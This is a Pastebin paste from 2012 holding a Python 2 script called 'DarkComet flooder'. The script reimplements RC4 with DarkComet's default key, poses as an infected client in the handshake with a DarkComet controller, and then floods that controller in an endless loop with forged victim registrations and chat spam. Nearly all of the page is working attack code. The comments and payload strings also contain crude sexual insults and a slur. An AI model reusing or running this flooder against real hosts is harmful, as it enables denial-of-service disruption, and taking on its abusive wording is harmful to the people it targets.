Advertisement
aaSSfxxx

Darkcomet flooder (HURR)

Sep 10th, 2012
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.32 KB | None | 0 0
  1. #!/usr/bin/python
  2. #-*- coding: utf-8 -*-
  3.  
  4. #DarkComet flooder
  5. #by aaSSfxxx :þ
  6.  
  7. import socket
  8. from time import *
  9. import sys
  10.  
  11. ####################### Fonctions pour le chiffrage RC4 ########################################
  12.  
  13. def initialize(key):
  14. """Produce a 256-entry list based on `key` (a sequence of numbers)
  15. as the first step in RC4.
  16. Note: indices in key greater than 255 will be ignored.
  17. """
  18. k = range(256)
  19. j = 0
  20. for i in range(256):
  21. j = (j + k[i] + key[i % len(key)]) % 256
  22. k[i], k[j] = k[j], k[i]
  23. return k
  24.  
  25. def gen_random_bytes(k):
  26. """Yield a pseudo-random stream of bytes based on 256-byte array `k`."""
  27. i = 0
  28. j = 0
  29. while True:
  30. i = (i + 1) % 256
  31. j = (j + k[i]) % 256
  32. k[i], k[j] = k[j], k[i]
  33. yield k[(k[i] + k[j]) % 256]
  34.  
  35. def run_rc4(k, text):
  36. cipher_chars = []
  37. random_byte_gen = gen_random_bytes(k)
  38. for char in text:
  39. byte = ord(char)
  40. cipher_byte = byte ^ random_byte_gen.next()
  41. cipher_chars.append(chr(cipher_byte))
  42. return ''.join(cipher_chars)
  43.  
  44. ######################## L'exploit à proprement parler #########################################
  45.  
  46. if (len(sys.argv) != 3):
  47. print "Usage: " + sys.argv[0] + " <ip_of_server> <port>"
  48. else:
  49. #encryption key (concaténé avec le password si celui-ci a été défini, à modifier si besoin)
  50. key = "#KCMDDC51#-890"
  51. k = [ord(char) for char in key]
  52.  
  53. #connexion
  54. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  55. s.connect((sys.argv[1], int(sys.argv[2])))
  56.  
  57. #on reçoit le IDTYPE
  58. data = s.recv(1024)
  59. print run_rc4(initialize(k), data.decode("hex"))
  60.  
  61. #on renvoie SERVER
  62. s.send(run_rc4(initialize(k), "SERVER").encode("hex").upper())
  63. wtf = s.recv(1024)
  64. print "Envoi des requêtes. Fermer cette fenêtre arrêtera le flood !"
  65. while True:
  66. # on rajoute une connexion
  67. to_send = "infoesGuest16|127.0.0.1 / [66.66.66.66]:1604|SUCEMWA / THEGAME|6256546|4294833s|Salut, tu suces ?|x||5.2.0"
  68. s.send(run_rc4(initialize(k), to_send).encode("hex").upper())
  69. #flood du darkcomet chat si le fag arrive à y accéder :3
  70. bullshit = "CHATOUTsalut, tu suces ?"
  71. s.send(run_rc4(initialize(k), bullshit).encode("hex").upper())
  72. sleep(0.1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement